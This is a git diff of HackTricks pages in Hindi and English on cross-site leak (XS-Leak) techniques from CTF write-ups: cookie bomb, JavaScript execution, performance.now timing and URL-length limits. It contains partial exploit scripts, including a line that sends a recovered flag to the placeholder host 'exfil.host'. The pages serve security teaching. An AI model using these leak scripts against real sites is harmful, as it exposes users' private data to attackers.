* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।**
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में **पीआर जमा करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# कुकी बॉम्ब + ऑनएरर XS लीक
# Cookie Bomb + Onerror XS Leak
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में पीआर जमा करके [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**स्क्रिप्ट** जो [**यहाँ से**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) लिया गया है, एक फ़ंक्शनलिटी का शोधन कर रहा है जो उपयोगकर्ता को **कुकी की किसी भी मात्रा को डालने** की अनुमति देती है, और फिर एक फ़ाइल को एक स्क्रिप्ट के रूप में लोड करने की अनुमति देती है जानते हुए कि सच्ची प्रतिक्रिया झूठी प्रतिक्रिया से अधिक होगी और फिर। यदि सफल होता है, तो प्रतिक्रिया एक रीडायरेक्ट है जिसमें एक परिणामी URL लंबा होता है, **सर्वर द्वारा संभालने के लिए बहुत बड़ा होता है ताकि एक त्रुटि http स्थिति कोड वापस दे**। यदि खोज विफल होती है, तो कुछ नहीं होगा क्योंकि URL छोटा है।
The following **script** taken from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) is exploiting a functionality that allows the user to **किसी भी मात्रा में कुकीज़ डालने** के लिए, और फिर एक फ़ाइल को स्क्रिप्ट के रूप में लोड करना यह जानते हुए कि सही प्रतिक्रिया गलत से बड़ी होगी और फिर। यदि सफल होता है, तो प्रतिक्रिया एक रीडायरेक्ट होती है जिसमें परिणामस्वरूप URL लंबा होता है, **सर्वर द्वारा संभालने के लिए बहुत बड़ा है इसलिए एक त्रुटि HTTP स्थिति कोड लौटाता है**। यदि खोज विफल होती है, तो कुछ नहीं होगा क्योंकि URL छोटा है।
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
@ -61,14 +64,17 @@ break;
};
</script>
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# जावास्क्रिप्ट निष्कासन XS लीक
# JavaScript Execution XS Leak
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>के साथ जीरो से हीरो तक AWS हैकिंग सीखें</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें और** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
@ -30,7 +33,7 @@ window.parent.foo()
res.send(page)
});
```
मुख्य पृष्ठ जो पिछले `/guessing` पृष्ठ के लिए iframes उत्पन्न करता है ताकि प्रत्येक संभावना का परीक्षण किया जा सके
मुख्य पृष्ठ जो प्रत्येक संभावना का परीक्षण करने के लिए पिछले `/guessing` पृष्ठ के लिए iframes उत्पन्न करता है
```html
<html>
<head>
@ -75,14 +78,17 @@ hack.innerHTML = iframe
</div>
</html>
```
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# performance.now + भारी कार्य को बल दें
# performance.now + Force heavy task
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**एक्सप्लॉइट [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/) से लिया गया है**
**Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
इस चैलेंज में उपयोगकर्ता हजारों वर्ण भेज सकता था और यदि ध्वज में शामिल था, तो वर्ण बॉट को वापस भेज दिए जाते थे। इसलिए एक बड़ी मात्रा में वर्ण डालकर हमलावर यह माप सकता था कि क्या ध्वज भेजे गए स्ट्रिंग में शामिल था या नहीं।
इस चुनौती में उपयोगकर्ता हजारों अक्षर भेज सकता था और यदि ध्वज शामिल था, तो अक्षर बॉट को वापस भेज दिए जाते थे। इसलिए यदि हम अक्षरों की बड़ी मात्रा डालते हैं, तो हम माप सकते हैं कि क्या ध्वज भेजे गए स्ट्रिंग में शामिल था या नहीं।
{% hint style="warning" %}
शुरू में, मैंने ऑब्जेक्ट चौड़ाई और ऊचाई सेट नहीं की थी, लेकिन बाद में, मुझे यह महत्वपूर्ण मालूम हुआ क्योंकि डिफ़ॉल्ट साइज बहुत छोटा है जिससे लोड समय में अंतर नहीं पड़ता
शुरुआत में, मैंने ऑब्जेक्ट की चौड़ाई और ऊँचाई सेट नहीं की, लेकिन बाद में, मैंने पाया कि यह महत्वपूर्ण है क्योंकि डिफ़ॉल्ट आकार लोड समय में अंतर करने के लिए बहुत छोटा है
{% endhint %}
```html
<!DOCTYPE html>
@ -114,14 +117,17 @@ main()
</html>
```
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# प्रदर्शन.now उदाहरण
# performance.now example
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में पीआर जमा करके [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
**उदाहरण [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
**उदाहरण लिया गया [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
document.addEventListener('DOMContentLoaded', main);
```
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) और **मुझे** **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# URL Max Length - Client Side
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड** करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में पीआर जमा करके [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
Code from [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) से कोड
```html
<html>
<body></body>
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
